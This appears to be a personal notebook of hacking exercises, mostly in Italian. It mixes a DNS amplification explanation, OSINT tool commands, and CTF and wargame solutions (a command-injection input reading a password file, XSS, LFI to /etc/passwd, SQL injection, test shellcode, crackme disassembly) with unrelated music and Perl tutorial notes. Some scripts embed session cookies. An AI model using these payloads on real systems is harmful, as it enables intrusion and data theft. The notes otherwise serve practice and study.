Il DNS (domain name system) ha una struttura ad albero ed è composto da diversi server delegati gerarchicamente a cui vengono assegnate diverse zone. I server possono essere autoritativi per una o più zone (primari e secondari), forwarder e ricorsivi. Questi ultimi sono chiamati così poiché utilizzano la ricorsione, ovvero il processo attraverso il quale un server di questo tipo, al momento della ricezione della richiesta di risoluzione di un nome, ripercorre le catene di deleghe partendo dalla zona radice;da qui, ottenendo il server di primo livello che lo gestisce, lo interroga; ricorsivamente interroga il server nel dominio di secondo livello ottenuto, fino alla risoluzione del nome desiderato. (FIGURA 1) Idealmente un server DNS (name server) ricorsivo dovrebbe accettare richieste (DNS query) solo da client autorizzati o locali, ma ciò nella stragrande maggioranza dei casi non accade, permettendo la loro interrogazione a qualsiasi client. Questi server vengono definiti “Open resolver” e nell’ambito della ShmooCon (2006) conference, Dan Kaminsky e Mike Schiffman ne hanno resi pubblici circa 580.000 dislocati su tutta la rete internet.

Per proseguire nell’esempio è necessario ricordare che:

L'User Datagram Protocol (UDP) è un protocollo di comunicazione utilizzato su internet, basato sull’invio e la ricezione di pacchetti.
Le Request for Comments (RFC), sono una raccolta contenente, standard di protocollo utilizzati su internet, rapporti e proposte.
In primo luogo bisogna definire l’EDNS (Extension Mecchanism for DNS - RFC 2671) come un’estensione del protocollo DNS la cui utilità è quella di permettere di specificare le dimensioni dei pacchetti UDP. In base alla RFC 1035 il limite di dimensione dei pacchetti UDP è 512 byte, ma sorge a volte la necessità di sforare questo limite avendo così la possibilità di trasferire pacchetti più grandi. A tale scopo, è necessario che al server DNS giunga una richiesta(query) al cui interno è contenuto un record OPT, dal quale il server estrapola informazioni sul livello di trasporto UDP, fra cui le dimensioni massime che ogni pacchetto può possedere e, ottimizzando lo spazio, modifica la risposta facendo in modo che essa contenga quanti più record di risorsa possibile. È importante specificare che si definisce un record OPT uno pseudo record poiché non contiene veri e propri dati DNS, bensì informazioni sul livello di comunicazione UDP.

Lo studio di questo attacco ha portato la consapevolezza che per la sua completa riuscita è necessario soddisfare due fondamentali precondizioni:

Un nome di dominio valido con record di risorsa di tipo SOA e TXT che supporti EDNS Una query personalizzata al cui interno sia contenuto l’indirizzo Ip della vittima a cui sarà successivamente destinata la risposta. Questa tecnica prende il nome di IP spoofing. Il primo punto sta alla base del meccanismo di amplificazione, il secondo si riferisce invece alla rifrazione dell’attacco. Il concetto di amplificazione ha base sul fatto che query (richieste) molto piccole possono generare risposte molto più grandi, ad esempio una query UDP di 60 byte può generare una risposta di 512, cioè 8.5 volte più grande della richiesta. Chiameremo l’amplificazione della risposta “fattore di amplificazione”. La rifrazione invece consiste nell’ip-spoofing che è il meccanismo attraverso il quale si dirotta la risposta verso un’altra destinazione prestabilita. Chi sferra quest’attacco solitamente si avvale di una rete di computer dislocati sulla rete internet (ad esempio una Botnet) utilizzata inconsapevolmente allo scopo d’inviare una moltitudine di richieste a diversi server DNS open resolver. Questo primo aspetto dell’amplificazione viene successivamente potenziato per mezzo di diverse query, precostruite manualmente, atte ad interrogare i diversi record di risorsa dei domini sfruttati. Ad esempio, s’ipotizzi di mandare una richiesta con indirizzo di risposta falsificato(spoofed query) ad un server DNS “open resolver” che attraverso lo pseudo-record OPT e sfruttando EDNS, specifichi dimensioni molto più grandi dei pacchetti UDP in risposta, ad esempio 4000 byte. Dal punto di vista dell’amplificazione si nota subito che la stessa query di 60 byte può amplificare la sua risposta fino a 4000 byte con un fattore di amplificazione pari a 66.7. Tale fattore è ulteriormente incrementabile attraverso la combinazione delle diverse risposte ottenute dall’interrogazione di record SOA, di TIPO A e TXT e in caso di frammentazione, cioè se sforando l’MTU(Maximum Transmission Unit= Massima unità trasmettibile) di un qualsiasi router che collega i server DNS “attaccanti” al bersaglio, i pacchetti vengono ridimensionati incrementandone il numero a discapito del bersaglio. Un’ultima precisazione: le operazioni che permettono l’attacco sopracitato si basano su abusi (come l’utilizzo improprio di EDNS) e vulnerabilità (come l’ip spoofing) del servizio DNS i cui server partecipano involontariamente all’attacco.
































Parrot --> Informationg Gathering --> OSINT Analysis

creepy.pl per la geolocalizzazione degli account twitter e flickr, ma non riesco a ottenere il pin di autenticazione di twitter.

---

dmitry -winsepffb -o hosts.txt bzakirasantjago.blogspot.it
estrae informazioni dal whois, da google, da altavista, informazioni sulle email e sulle porte chiuse e aperte;

---

metagoofil -d kali.org -t pdf -l 100 -n 25 -o kalipdf -f kalipdf.html

Scan for documents from a domain (-d kali.org) that are PDF files (-t pdf), searching 100 results (-l 100), download 25 files (-n 25), saving the downloads to a directory (-o kalipdf), and saving the output to a file (-f kalipdf.html)

---

SpiderFoot è uno spiderone che va in giro per la rete a raccogliere informazioni sul target scelto; esiste la versione browser (server) e la gui che si appoggia sul server

---

theharvester -d microsoft.com -l 500 -b google
cerca microsoft.com su google limitando i risultati a 500; viene utilizzato anche per fare reverse query al DNS, bruteforce DNS per un domain name, altre operazione sul DNS relativa al domain

---

URLCrazy is a tool that can generate and test domain typos and variations to detect and perform typo squatting, URL hijacking, phishing, and corporate espionage.

root@VH0:~# urlcrazy  google.com

Character Omission            goole.com      213.165.70.39    DE,GERMANY        mx00.1and1.co.uk                   com
Character Repeat              ggoogle.com    74.125.128.99    US,UNITED STATES                                     com




download the flash password.swf

flasm password.swf

pluma password.flm




















3115 3511434352344214 154344 3211424224113315

le password est marriane




















Description
Command injection is an attack in which the goal is execution of arbitrary commands on the host operating system via a vulnerable application. Command injection attacks are possible when an application passes unsafe user supplied data (forms, cookies, HTTP headers etc.) to a system shell. In this attack, the attacker-supplied operating system commands are usually executed with the privileges of the vulnerable application. Command injection attacks are possible largely due to insufficient input validation.


This attack differs from Code Injection, in that code injection allows the attacker to add his own code that is then executed by the application. In Code Injection, the attacker extends the default functionality of the application without the necessity of executing system commands.

level01@wargame:/tmp$ cat /home/level01/bin01.c
#include <stdio.h>
#include <string.h>

int main(int argc, char ** argv)
{
        char cmd[256]= "/bin/ls -la ";
        if(argc!=2)
        {
                printf("Usage : %s <nom de dossier>\n",argv[0]);
                return 1;
        }
        if(strlen(argv[1])<9)
        {
                strcat(cmd, argv[1]);
                system(cmd);
        }
        else
        {
                printf("Pour des raisons de sécurité, le dossier que vous souhaitez lister ne doit pas comporter plus de 8 caractères.\n");
        }
        return 0;

}

tmp scrivibile

cd /tmp/
ln -s /home/level01/.password a

home/level01/bin01 ';cat a'

XSS



esempio di vulnerabilità XSS in una url con parametro :


http://www.newbiecontest.org/epreuves/hacking/verifhk5.php?url=%3Cscript%3Ealert(%27hello%20world%27);%20%3C/script%3E%22


"url=<script>alert('hello world'); </script>"


























$cat exit_shellcode.asm

Section         .text
global _start

_start:
mov ebx,0
mov eax,1
int 0x80

nasm -f elf exit_shellcode.asm
ld -m elf_i386 -o exit_shellcode exit_shellcode.o


objdump -d exit_shellcode

exit_shellcode:     file format elf32-i386


Disassembly of section .text:

08048060 <_start>:
8048060: bb 00 00 00 00       mov    $0x0,%ebx
8048065: b8 01 00 00 00       mov    $0x1,%eax
804806a: cd 80                 int    $0x80

per togliere i bytes null 00, si usa l'istruzione xor ebx,ebx per la prima istruzione, e il registro al per la seconda

xor ebx,ebx
mov al,1

$cat wack.c 

char shellcode[] = "\xbb\x00\x00\x00\x00"
"\xb8\x01\x00\x00\x00"
"\xcd\x80";
int main()
{
int *ret;
ret = (int *)&ret +2;
(*ret) = (int)shellcode;
}

gcc -m32 -fno-stack-protector -z execstack -o wack wack.c 
strace ./wack


















curl -u b:4 -c cookietxt.txt "http://canyouhack.it/Forum/index.php?action=login2"
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha1.php" > bzocr.png
tesseract ./bzocr.png ./bzocr.txt
cat ./bzocr.txt.txt | tr -d '\n' > bzocr2.txt
pippo=`cat ./bzocr2.txt`
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha1.php?text=$pippo" > result.png


curl -s -b ./cookietxt.txt http://canyouhack.it/Content/Challenges/Captcha/Captcha2.php > bzocr3.png 
convert -auto-orient ./bzocr3.png ./bzocr3r.png
tesseract -psm 8 ./bzocr3r.png ./bzocr3.txt
cat ./bzocr3.txt.txt | tr -d '\n' > bzocr4.txt
pippo=`cat ./bzocr4.txt`
curl -s -b ./cookietxt.txt "http://canyouhack.it/Content/Challenges/Captcha/Captcha2.php?text=$pippo" > result4.png
cp ./bzocr3r.png ~/Desktop
cp ./result4.png ~/Desktop






















CanYouHack.it
Programming 1

#!/usr/local/bin/perl -w
# irc.pl
# A simple IRC robot.
# Usage: perl irc.pl

use strict;
use warnings;
use v5.14.2;

# We will use a raw socket to connect to the IRC server.
use IO::Socket;

# The server to connect to and our details.
my $server = "irc.idlemonkeys.net";
my $nick = "bz";
my $login = "bz";

# The channel which the bot will join.
my $channel = "#canyouhack.it";

# Connect to the IRC server.
my $sock = new IO::Socket::INET(PeerAddr => $server,
                                PeerPort => 6667,
                                Proto => 'tcp') or
                                    die "Can't connect\n";

# Log on to the server.
print $sock "NICK $nick\r\n";
print $sock "USER $login 8 * :Perl IRC Hacks Robot\r\n";

# Read lines from the server until it tells us we have connected.
while (my $input = <$sock>) {
    # Check the numerical responses from the server.
    if ($input =~ /004/) {
        # We are now logged in.
        last;
    }
    elsif ($input =~ /433/) {
        die "Nickname is already in use.";
    }
}

# Join the channel.
print "**********************\n";
print $sock "PRIVMSG [CYH]Bot !C1\r\n";

# Keep reading lines from the server.
while (my $input = <$sock>) {
    chop $input;
    if ($input =~ /^PING(.*)$/i) {
        # We must respond to PINGs to avoid being disconnected.
        print $sock "PONG $1\r\n";
    }
    else {
        # Print the raw line received by the bot.
        print "*\n";
        print "$input\n";
        if ($input =~ /PRIVMSG/) {
            my @all_nums;
            say $input; 
            @all_nums = $input =~ /(\d+)/g; 
            #print $out;
            if ($all_nums[3]) {
            print $sock "PRIVMSG [CYH]Bot !A1 $all_nums[3]\n\r";
        }

            }

    }
    #print "input\n";
}


The File Inclusion vulnerability allows an attacker to include a file, usually exploiting a "dynamic file inclusion" mechanisms implemented in the target application. The vulnerability occurs due to the use of user-supplied input without proper validation.

This can lead to something as outputting the contents of the file, but depending on the severity, it can also lead to:

Code execution on the web server
Code execution on the client-side such as JavaScript which can lead to other attacks such as cross site scripting (XSS)
Denial of Service (DoS)
Sensitive Information Disclosure

Local File Inclusion (also known as LFI) is the process of including files, that are already locally present on the server, through the exploiting of vulnerable inclusion procedures implemented in the application. This vulnerability occurs, for example, when a page receives, as input, the path to the file that has to be included and this input is not properly sanitized, allowing directory traversal characters (such as dot-dot-slash) to be injected. Although most examples point to vulnerable PHP scripts, we should keep in mind that it is also common in other technologies such as JSP, ASP and others.

Consider the following example:

http://vulnerable_host/preview.php?file=example.html

This looks as a perfect place to try for LFI. If an attacker is lucky enough, and instead of selecting the appropriate page from the array by its name, the script directly includes the input parameter, it is possible to include arbitrary files on the server.

Typical proof-of-concept would be to load passwd file:

http://vulnerable_host/preview.php?file=../../../../etc/passwd


PHP Warning(2): require_once(solution.php.php): failed to open stream: No such file or directory 

www.wechall.net/challenge/php0817/index.php?which=solution



























vote_for=bill` = `bill` %2b 111 where bill=0 --%20
UPDATE noescvotes SET `bill` = `bill` + 111 where bill=0 --

per vedere la sintassi bisogna far andare in errore l'applicazione inserendo input inaspettato nella url;






















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','WC=8435090-12918-Zru0JIKhb4ohrqvO');

my $req = HTTP::Request->new(GET => 'http://www.wechall.net/challenge/training/programming1/index.php?action=request');
my $res = $browser->request($req);

print $res->content;
my $risultato=$res->content;


my $browser2 = LWP::UserAgent->new;
$browser2->default_header('cookie','WC=8435090-12918-Zru0JIKhb4ohrqvO');

my $req2 = HTTP::Request->new(GET => 'http://www.wechall.net/challenge/training/programming1/index.php?answer='.$risultato);
my $res2 = $browser2->request($req2);

print $res2->content;



























copiare gli sc di supercolliderenoise.tgz in /usr/share/SuperCollider/SCClassLibrary/Common/Renoise/
tutti tranne ResponseDefs.sc che va in  /usr/share/SuperCollider/SCClassLibrary/Common/Control/


// declare an event type which sends OSC commands to Renoise

(
Event.addEventType(\renoise, { |server|
  var renoiseOscServer = NetAddr("127.0.0.1", 8000);
  var notes = [~midinote.value, ~ctranspose.value, ~velocity.value, ~sustain.value, ~lag.value, ~timingOffset.value, ~instr.value, ~track.value].flop;
  var timeNoteOn, timeNoteOff, instrument, track, velocity;
  var serverLatency;

  serverLatency = server.latency ? 0;

  notes.do {|note|
    instrument = note[6] ? -1;
    track = note[7] ? -1;
    velocity = note[2].asInt.clip(0,127);

    // sustain and timingOffset are in beats, lag is in seconds
    timeNoteOn = (thisThread.clock.tempo.reciprocal*note[5])+note[4]+server.latency;
    timeNoteOff = (thisThread.clock.tempo.reciprocal*(note[3]+note[5]))+note[4]+server.latency;
    SystemClock.sched(timeNoteOn, {renoiseOscServer.sendMsg("/renoise/trigger/note_on", instrument.asInt, track.asInt, (note[0]+note[1]).asInt, velocity )});
    SystemClock.sched(timeNoteOff, {renoiseOscServer.sendMsg("/renoise/trigger/note_off", instrument.asInt, track.asInt, (note[0]+note[1]).asInt)});
  }
});
)

// Now start Renoise OSC server, load a sample, and try some patterns

// straight timing
(
Pbind(*[
  type: \renoise,
  legato: Pgauss(0.2,0.05,inf),
  dur: 0.2,
  degree: [2,5,12],
  track: Prand([0,1], inf),
  ctranspose: Pseq([0,0,0,0,4,4,4,4,5,5,5,5],inf),
  velocity: Pgauss(64,10,inf),
]).play;
)

// loose timing
(
Pbind(*[
  type: \renoise,
  legato: 0.1,
  dur: 0.2,
  midinote: [66, 69, 74],
  lag: Pwhite(-0.05!3, 0.05)
]).play;
)


MIDIClient.init;
MIDIIn.connectAll;
r = Renoise();
r = Renoise("127.0.0.1", 8000);


(
SynthDef(\sound, { |out = 0, gate = 1, freq = 440, amp = 0.5|
    var sig, env;

    env = EnvGen.kr(Env.adsr(0.01, 0.9, 0.3, 1), gate, doneAction: 2);

    sig = Pulse.ar(freq) * amp * env;

    Out.ar(out, sig);
}).add
)

r.createSynthDefInstrument(\sound)

















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/4/index.php');
my $res = $browser->request($req);

# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');

my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    #say $text;
}

say $text;
say $text*sqrt(5);

my $risultato =  floor($text*sqrt(5));
say $risultato;


#my @treparole = split(',', $text);
#@treparole = sort @treparole;

#say $stringarimanente;
#my $stringainversa = scalar reverse $stringarimanente;
#say $stringainversa;
#my $stringarisultato = $firstchar.$stringainversa;
#say $stringarisultato;


my $url = 'http://securityoverride.org/challenges/programming/4/index.php';
my $parameter = ([ 'string' => $risultato, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);
#say $response->content;

##################################################################################################

#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;
use Math::Round;
use POSIX qw/floor/;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/5/index.php');
my $res = $browser->request($req);

# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');

my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    #say $text;
}

say $text;

my @chars = split("", $text);
my $i=0;
my $j=0;
my $k=1;
my %hash = ();
my @risultato = ();

for ($i=0; $i<250; $i++) {
print $chars[$i];
if ((($i+1) % 50)==0) {
print "\n";
}
}

$i=0;


my $r=0;

for ($i=0; $i<250; $i++) {
#say $k;

if ($chars[$i] eq '@') {
say $chars[$i];
say $k;
say $j;
$hash{$k}.=$j;

$risultato[$r]=$k."-".$j.",";

$r++;

}
$j++;
if ((($i+1) % 50)==0) {
$j = 0;
$k++;
}


}

my $risultatofinale ='';

#foreach my $key (keys %hash) {
# $risultato .= $key."-".$hash{$key}.",";
#
#}

foreach my $indice (@risultato) {
$risultatofinale .= $indice;

}


my $size = length($risultatofinale);

my $risfinale = substr($risultatofinale,0, $size-1);

say $risfinale;

my $url = 'http://securityoverride.org/challenges/programming/5/index.php';
my $parameter = ([ 'string' => $risfinale, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);
#say $response->content;



















#!/usr/bin/perl

use strict;
use warnings;
use v5.14.2;
use LWP::UserAgent;
use HTTP::Cookies;
use CGI;
use WWW::Mechanize;
use HTML::TokeParser;
use HTML::TreeBuilder;
use File::Temp;
use URI::file;
use WWW::Mechanize::TreeBuilder;
use HTML::Parser;
use HTML::TagParser;


my $browser = LWP::UserAgent->new;
$browser->default_header('cookie','fusion_visited=yes; _ga=GA1.2.295753280.1415196559; PHPSESSID=09bc1dd98752875f4d0ba54dcf921997; _gat=1; fusion_user=17026.140eeff22ac6169bbf2bc84f64b8b218; fusion_lastvisit=1419003317');

my $req = HTTP::Request->new(GET => 'http://securityoverride.org/challenges/programming/2/index.php');
my $res = $browser->request($req);

wwww# write the data to disk
my $fh = File::Temp->new;
print $fh $res->content;
$fh->close;

my $parser = HTML::TagParser->new($fh->filename);
my @list = $parser->getElementsByTagName('code');


my $word = '';
my $text = '';

foreach my $elem ( @list ) {
my $tagname = $elem->tagName;
    my $attr = $elem->attributes;
    $text = $elem->innerText;
    $word = $text;
    say $text;
}

say $text;

#my $firstchar = substr($text, 0, 1);
my $len = length($text);
#my $stringarimanente = substr($text, 1, $len);

#say $firstchar;
my $i = 0;
my $value = 0;

for ($i = 0; $i < $len; $i++) {
my $stringchar = substr($text, $i, $i+1);
say ord($stringchar);
$value = $value + ord($stringchar);
    }

say $value;
#say $stringarimanente;
#my $stringainversa = scalar reverse $stringarimanente;
#say $stringainversa;
#my $stringarisultato = $firstchar.$stringainversa;
#say $stringarisultato;


my $url = 'http://securityoverride.org/challenges/programming/2/index.php';
my $parameter = ([ 'string' => $value, 'submitbutton' => '12 seconds to Submit', 'CSRF_TOKEN' => "<?php echo \$_SESSION[\'CSRF_TOKEN\'];?>" ]);
my $response = $browser->post($url, $parameter);























































#!/usr/bin/perl



%data = ('John Paul', 45, 'Lisa', 30, 'Kumar', 40);



print "\$data{'John Paul'} = $data{'John Paul'}\n";

print "\$data{'Lisa'} = $data{'Lisa'}\n";

print "\$data{'Kumar'} = $data{'Kumar'}\n";

This will produce following result:

$data{'John Paul'} = 45

$data{'Lisa'} = 30

$data{'Kumar'} = 40



%data = ('John Paul', 45, 'Lisa', 30, 'Kumar', 40);

%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);

%data = (-JohnPaul => 45, -Lisa => 30, -Kumar => 40);



#!/usr/bin/perl



%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);



print "$data{'John Paul'}\n";

print "$data{'Lisa'}\n";

print "$data{'Kumar'}\n";

This will produce following result:

45

30

40



#!/uer/bin/perl



%data = (-JohnPaul => 45, -Lisa => 30, -Kumar => 40);



@array = @data{-JohnPaul, -Lisa};



print "Array : @array\n";

This will produce following result:

Array : 45 30





#!/usr/bin/perl



%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);



@names = keys %data;



print "$names[0]\n";

print "$names[1]\n";

print "$names[2]\n";

This will produce following result:

Lisa

John Paul

Kumar

#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
if( exists($data{'Lisa'} ) ){
   print "Lisa is $data{'Lisa'} years old\n";
}
else{
   print "I don't know age of Lisa\n";
}
#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
@keys = keys %data;
$size = @keys;
print "1 - Hash size:  is $size\n";
@values = values %data;
$size = @values;
print "2 - Hash size:  is $size\n";
This will produce following result:
1 - Hash size: is 3
2 - Hash size: is 3
#!/usr/bin/perl
%data = ('John Paul' => 45, 'Lisa' => 30, 'Kumar' => 40);
@keys = keys %data;
$size = @keys;
print "1 - Hash size:  is $size\n";
# adding an element to the hash;
$data{'Ali'} = 55;
@keys = keys %data;
$size = @keys;
print "2 - Hash size:  is $size\n";
# delete the same element from the hash;
delete $data{'Ali'};
@keys = keys %data;
$size = @keys;
print "3 - Hash size:  is $size\n";
This will produce following result:
1 - Hash size: is 3
2 - Hash size: is 4
3 - Hash size: is 3












































Modulo Login.pm





login2.pl



#!/usr/bin/perl



use v5.14.2;

use warnings;

use strict;



use Test::Login;



my $user;



while (1) {

    print "Username: ";

    chomp($user = <>);

    print "Password: ";

    chomp(my $pass = <>);



    last if(Test::Login::check_password($user, $pass));



    # otherwise, we're stuck in the loop

    say "Sorry!";

  }



say "Congratulations $user!";



perl/Test/

Login.pm



package Test::Login;

$VERSION = v0.0.1;



use v5.14.2;

use warnings;

use strict;

use Carp;



use Digest::MD5 'md5_hex';



open(my $fh, '<', 'passwords') or die "cannot open passwords file $!";

my %passwords = map({chomp; split(/:/, $_, 2)} <$fh>);



sub check_password {

    my ($user, $pass) = @_;



    return(

      $passwords{$user} and

      md5_hex($pass) eq $passwords{$user}

    );

}



1;





passwords

bz:fcea920f7412b5da7be0cf42b8c93759




































;  hello.asm  a first program for nasm for Linux, Intel, gcc
;
; assemble: nasm -f elf -l hello.lst  hello.asm
; link: gcc -o hello  hello.o
; run:        hello
; output is: Hello World

SECTION .data ; data section
msg: db "Hello World",10 ; the string to print, 10=cr
len: equ $-msg ; "$" means "here"
; len is a value, not an address

SECTION .text ; code section
        global main ; make label available to linker
_start: ; standard  gcc  entry point

mov edx,len ; arg3, length of string to print
mov ecx,msg ; arg2, pointer to string
mov ebx,1 ; arg1, where to write, screen
mov eax,4 ; write command to int 80 hex
int 0x80 ; interrupt 80 hex, call kernel

mov ebx,0 ; exit code, 0=normal
mov eax,1 ; exit command to kernel
int 0x80 ; interrupt 80 hex, call kernel


nasm -g -f elf -F dwarf hello.asm
ld -m elf_i386 -o hello hello.o

per non far incartare il ddd, andare in .ddd
e modificare il file init :

set extended-prompt not set\n\  in
set prompt (gdb) \n\










































winedbg --gdb --no-start Easy_CrackMe.exe



0024:0025: create process 'Z:\home\bz\Downloads\Easy_CrackMe.exe'/0x1106e8 @0x401188 (0<0>)

0024:0025: create thread I @0x401188

target remote localhost:45181



ddd



(gdb) target remote localhost:45181



objdump -D -M intel ./Easy_CrackMe.exe > out.asm



break *0x004010b0





4010b0:       80 7c 24 05 61        cmp    BYTE PTR [esp+0x5],0x61   "a"

4010b5:       75 7e                        jne    0x401135





4010b9:       8d 4c 24 0a           lea    ecx,[esp+0xa]

4010bd:       68 78 60 40 00        push   0x406078       "5y"

4010c2:       51                           push   ecx

4010c3:       e8 88 00 00 00        call   0x401150



4010d1:       be 6c 60 40 00        mov    esi,0x40606c      "R3versing"





40110d:       80 7c 24 04 45        cmp    BYTE PTR [esp+0x4],0x45   "E"

401112:       75 21                 jne    0x401135






























strings[0] = (0x78 ^ 0x34)

strings[1] = (0x31)

strings[2] = (0x7c ^ 0x32)

strings[3] = (0xdd ^ 0x88)

strings[4] = (0x58)

strings[5] = null





          0x08048451      55               push ebp

          0x08048452      89e5             mov ebp, esp

          0x08048454      0fb60521a00408   movzx eax, byte [0x804a021]    ; strings[1]

          0x0804845b      3c31             cmp al, 0x31                   ; 0x31 ?

      ,=< 0x0804845d      740a             jz 0x8048469                   ; not match

      |   0x0804845f      b800000000       mov eax, 0x0

      |   0x08048464      e98c000000       jmp dword 0x80484f5

      `-> 0x08048469      0fb60520a00408   movzx eax, byte [0x804a020]    ; strings[0]

          0x08048470      83f034           xor eax, 0x34                  ; xor 0x34

          0x08048473      a220a00408       mov [0x804a020], al            ; store res[0]

          0x08048478      0fb60522a00408   movzx eax, byte [0x804a022]    ; strings[2]

          0x0804847f      83f032           xor eax, 0x32                  ; xor 0x32

          0x08048482      a222a00408       mov [0x804a022], al            ; store res[2]

          0x08048487      0fb60523a00408   movzx eax, byte [0x804a023]    ; strings[3]

          0x0804848e      83f088           xor eax, 0xffffff88            ; xor 0x88

          0x08048491      a223a00408       mov [0x804a023], al            ; store res[3]

          0x08048496      0fb60524a00408   movzx eax, byte [0x804a024]    ; strings[4]

          0x0804849d      3c58             cmp al, 0x58                   ; 0x58 ?

      ,=< 0x0804849f      7407             jz 0x80484a8                   ; match

      |   0x080484a1      b800000000       mov eax, 0x0

      |   0x080484a6      eb4d             jmp 0x80484f5

      `-> 0x080484a8      0fb60525a00408   movzx eax, byte [0x804a025]    ; strings[5]

          0x080484af      84c0             test al, al                    ; null ?

     ,==< 0x080484b1      7407             jz 0x80484ba                   ; match

     |    0x080484b3      b800000000       mov eax, 0x0

     |    0x080484b8      eb3b             jmp 0x80484f5

     `--> 0x080484ba      0fb60522a00408   movzx eax, byte [0x804a022]    ; res[2]

          0x080484c1      3c7c             cmp al, 0x7c                   ; 0x7c ?

    ,===< 0x080484c3      7407             jz 0x80484cc

    |     0x080484c5      b800000000       mov eax, 0x0

    |     0x080484ca      eb29             jmp 0x80484f5

          0x080484cc      0fb60520a00408   movzx eax, byte [0x804a020]    ; res[0]

          0x080484d3      3c78             cmp al, 0x78                   ; 0x78 ?

      ,=< 0x080484d5      7407             jz 0x80484de

      |   0x080484d7      b800000000       mov eax, 0x0

     ,==< 0x080484dc      eb17             jmp 0x80484f5

     |`-> 0x080484de      0fb60523a00408   movzx eax, byte [0x804a023]    ; res[3]

     |    0x080484e5      3cdd             cmp al, 0xdd                   ; 0xdd ?

    ,===< 0x080484e7      7407             jz 0x80484f0

    ||    0x080484e9      b800000000       mov eax, 0x0

   ,====< 0x080484ee      eb05             jmp 0x80484f5

   |`---> 0x080484f0      b801000000       mov eax, 0x1

   `-`--> 0x080484f5      5d               pop ebp

          0x080484f6      c3               ret

Less..




8048450: c3                    ret    

 8048451: 55                    push   %ebp

 8048452: 89 e5                 mov    %esp,%ebp

 8048454: 0f b6 05 21 a0 04 08  movzbl 0x804a021,%eax

 804845b: 3c 31                 cmp    $0x31,%al

 804845d: 74 0a                 je     8048469 <__isoc99_scanf@plt+0xf9>

 804845f: b8 00 00 00 00        mov    $0x0,%eax

 8048464: e9 8c 00 00 00        jmp    80484f5 <__isoc99_scanf@plt+0x185>

 8048469: 0f b6 05 20 a0 04 08  movzbl 0x804a020,%eax

 8048470: 83 f0 34              xor    $0x34,%eax

 8048473: a2 20 a0 04 08        mov    %al,0x804a020

 8048478: 0f b6 05 22 a0 04 08  movzbl 0x804a022,%eax

 804847f: 83 f0 32              xor    $0x32,%eax

 8048482: a2 22 a0 04 08        mov    %al,0x804a022

 8048487: 0f b6 05 23 a0 04 08  movzbl 0x804a023,%eax

 804848e: 83 f0 88              xor    $0xffffff88,%eax

 8048491: a2 23 a0 04 08        mov    %al,0x804a023

 8048496: 0f b6 05 24 a0 04 08  movzbl 0x804a024,%eax

 804849d: 3c 58                 cmp    $0x58,%al

 804849f: 74 07                 je     80484a8 <__isoc99_scanf@plt+0x138>

 80484a1: b8 00 00 00 00        mov    $0x0,%eax

 80484a6: eb 4d                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484a8: 0f b6 05 25 a0 04 08  movzbl 0x804a025,%eax

 80484af: 84 c0                 test   %al,%al

 80484b1: 74 07                 je     80484ba <__isoc99_scanf@plt+0x14a>

 80484b3: b8 00 00 00 00        mov    $0x0,%eax

 80484b8: eb 3b                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484ba: 0f b6 05 22 a0 04 08  movzbl 0x804a022,%eax

 80484c1: 3c 7c                 cmp    $0x7c,%al

 80484c3: 74 07                 je     80484cc <__isoc99_scanf@plt+0x15c>

 80484c5: b8 00 00 00 00        mov    $0x0,%eax

 80484ca: eb 29                 jmp    80484f5 <__isoc99_scanf@plt+0x185>

 80484cc: 0f b6 05 20 a0 04 08  movzbl 0x804a020,%eax

